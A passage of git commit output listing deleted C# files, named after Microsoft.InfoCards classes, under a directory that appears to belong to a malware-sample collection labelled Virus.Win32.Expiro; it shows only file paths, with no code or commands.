MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/GetPolicyDetailsRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/GetRecipientListRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/GetRecipientRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/GetTokenRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/GetUserPreferenceRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/GlobalId.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/HandleDictionary`1.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/HashCoreRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/HashCryptoSession.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/HashFinalRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/HashUtility.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/HttpProxyTransportBindingElement.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/IAccessibilityHelper.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/ICanonicalizer.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/ITokenFactory.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/IdentityValidationException.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/ImportException.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/ImportFileRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/ImportRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/ImportStoreException.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/IndexObject.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/IndexedDataBuffer.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/InfoCard.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/InfoCardBinaryReader.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/InfoCardClaim.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/InfoCardClaimCollection.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/InfoCardConstants.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/InfoCardListRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/InfoCardMasterKey.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/InfoCardMetadataExchangeClient.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/InfoCardOfflineChainTrustValidator.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/InfoCardPolicy.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/InfoCardRequestException.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/InfoCardSchemas.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/InfoCardService.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/InfoCardServiceClientCredentials.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/InfoCardUIAgent.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/InfoCardX509Validator.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/InfoCardXmlSerializer.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/InfocardExtendedInformationCollection.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/InfocardExtendedInformationEntry.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/IntermediatePolicyValidator.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/InvalidCardException.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/InvalidStoreProtectionKeyException.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/IssuerInformation.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/IssuerInformationEntry.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/KerberosTokenFactoryCredential.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/KeyBlock.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/KeyBlockV2.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/KeyGenRestartCodes.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/LedgerEntry.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/LedgerEntryCollection.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/LifeTimeMonitor.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/ListCardsInFileRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/ListDependantCardsRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/LocalIdCollection.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/LogoValidationException.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/ManageRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/MaxSessionCountExceededException.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/MergeConflictCallback.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/NativeMcppMethods.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/NativeMethods.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/OptionalRstParameters.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/ParsedPolicy.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/PasswordValidationException.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/PinProtectionHelper.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/Policy.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/PolicyFactory.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/PolicyType.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/PolicyUsageContext.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/PolicyUtility.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/PolicyValidationException.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/PolicyValidator.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/ProcessExitedException.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/ProcessManager.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/ProcessMonitor.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/ProtocolProfile.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/Psha1DerivedKeyGenerator.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/QueryDetails.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/QueryParameter.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/QueryStoreStatusRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RPIdentityRequirement.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RSATokenProvider.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/Recipient.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RecipientIdentity.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RemoteAsymmetricSignatureFormatter.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RemoteCryptoDecryptRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RemoteCryptoRsaServiceProvider.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RemoteCryptoSignHashRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RemoteCryptoTokenProvider.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RemoteTokenFactory.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RemoteX509AsymmetricSecurityKey.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RemoteX509Token.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/Request.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RequestFactory.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RequestSecurityToken.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RequestSecurityTokenForGetBrowserToken.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RequestSecurityTokenForRemoteTokenFactory.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RequestSecurityTokenParameters.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RequestSecurityTokenResponseHelper.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RequestSecurityTokenSerializer.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/ResolvePPIDRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RoamingStoreFile.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RoamingStoreFileUtility.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RpcAllocMemCallback.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RpcAsyncResult.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RpcAuthorizeCallback.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RpcCallbacks.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RpcClientBindToServiceCallback.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RpcCryptoContext.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RpcCryptoRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RpcFreeMemCallback.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RpcProcessNewRequestCallback.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RpcRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RpcResponse.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RpcRundownClientContextHandle.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RpcUIAgentBindToServiceCallback.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RpcUIAgentGetWorkCallback.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RsaKeyGen.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/SafeCryptoKey.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/SafeCryptoKeyHandle.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/SafeJobHandle.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/SafeNativeHandle.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/SafeRsaProviderHandle.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/SaveCardRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/SaveLedgerEntryRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/SaveRecipientRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/SecondaryIndex.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/SecondaryIndexDefinition.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/SecondaryIndexItem.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/SecondaryIndexList.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/SecondaryIndexSettings.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/SecurityKeyTypeInternal.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/SelfIssuedAuthAsymmetricKey.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/SelfIssuedAuthProofToken.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/SelfIssuedAuthRSACryptoProvider.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/SelfIssuedAuthRSAPKCS1SignatureDeformatter.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/SelfIssuedAuthRSAPKCS1SignatureFormatter.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/SelfIssuedSamlTokenFactory.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/SelfIssuedTokenFactoryCredential.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/SendAgentStatusRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/SerializationIncompleteException.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/ServiceBusyException.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/SetUserLanguageRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/SetUserPreferenceRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/SignHashRequest.cs delete mode 100644 